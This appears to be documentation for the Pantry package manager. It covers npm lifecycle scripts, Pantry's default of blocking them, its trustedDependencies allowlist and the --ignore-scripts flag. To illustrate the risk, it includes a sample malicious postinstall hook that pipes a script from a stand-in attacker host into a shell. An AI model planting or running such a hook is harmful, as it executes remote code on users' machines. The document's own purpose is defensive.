Lifecycle Scripts
> How Pantry handles package lifecycle scripts securely
Packages on npm can define lifecycle scripts in their package.json. These are arbitrary shell commands that the package manager executes at specific times during the package lifecycle.
Unlike other npm clients, Pantry does not execute arbitrary lifecycle scripts by default. This security-first approach protects you from potentially malicious code in dependencies.
Lifecycle Script Types
Pantry supports the following lifecycle scripts:
Installation Scripts
preinstall: Runs before the package is installedpostinstall: Runs after the package is installedprepare: Runs after install and before publishpreprepare: Runs beforepreparepostprepare: Runs afterprepare
Uninstallation Scripts
preuninstall: Runs before the package is uninstalledpostuninstall: Runs after the package is uninstalled
Publishing Scripts
prepublishOnly: Runs before the package is published (not on install)
The Security Problem
These scripts represent a potential security risk because they:
- Execute arbitrary shell commands
- Run with your user's permissions
- Can access your filesystem and environment
- May contain malicious code from compromised packages
Example of a malicious postinstall script:
{
"scripts": {
"postinstall": "curl https://evil.com/steal.sh | sh"
}
}
Pantry's Security Model
Pantry uses a "default-secure" approach:
- Scripts are disabled by default - No scripts run unless explicitly allowed
- Trusted dependencies list - You control which packages can run scripts
- Default trusted packages - Top 500 npm packages with scripts are pre-approved
- Easy opt-out - Use
--ignore-scriptsto disable all scripts
postinstall Scripts
The postinstall script is particularly important. It's widely used to build or install platform-specific binaries for packages implemented as native Node.js add-ons.
For example, node-sass uses postinstall to build a native binary for Sass:
{
"name": "my-app",
"version": "1.0.0",
"dependencies": {
"node-sass": "^6.0.1"
}
}
trustedDependencies
To allow lifecycle scripts for specific packages, add them to the trustedDependencies array in your package.json:
{
"name": "my-app",
"version": "1.0.0",
"trustedDependencies": ["node-sass", "sharp", "esbuild"],
"dependencies": {
"node-sass": "^6.0.1",
"sharp": "^0.32.0",
"esbuild": "^0.19.0"
}
}
How It Works
When you add a package to trustedDependencies:
- Pantry reads this field during installation
- Lifecycle scripts for trusted packages are executed
- Scripts for untrusted packages are skipped with a warning
Adding Trusted Dependencies
When a package needs lifecycle scripts, Pantry will warn you:
� Package 'my-custom-package' has lifecycle scripts but is not trusted
Add to trustedDependencies in package.json to enable:
{
"trustedDependencies": ["my-custom-package"]
}
Add the package name to trustedDependencies and run pantry install again.
Default Trusted Packages
As of Pantry v1.0, the top 500 npm packages with lifecycle scripts are allowed by default. This includes popular packages like:
- Native addons:
node-sass,sharp,canvas,sqlite3,bcrypt - Build tools:
esbuild,swc,@swc/core,node-gyp - Browser automation:
puppeteer,playwright,chromedriver - Development tools:
husky,patch-package,electron - And many more...
See the full list in the source code.
Why Default Trust
These packages are:
- Widely used: Downloaded millions of times per week
- Well maintained: Active communities and security oversight
- Necessary: Often require native compilation or platform-specific setup
- Vetted: Part of the npm ecosystem's core infrastructure
--ignore-scripts
To disable lifecycle scripts for all packages (including trusted ones), use the --ignore-scripts flag:
pantry install --ignore-scripts
This is useful for:
- CI/CD pipelines: Faster, more predictable builds
- Security audits: Installing without executing code
- Debugging: Isolating installation issues
- Air-gapped environments: When network access is restricted
Examples
Basic Usage
Install packages with default security (trusted packages can run scripts):
$ pantry install
Installed react@18.0.0
Installed node-sass@6.0.1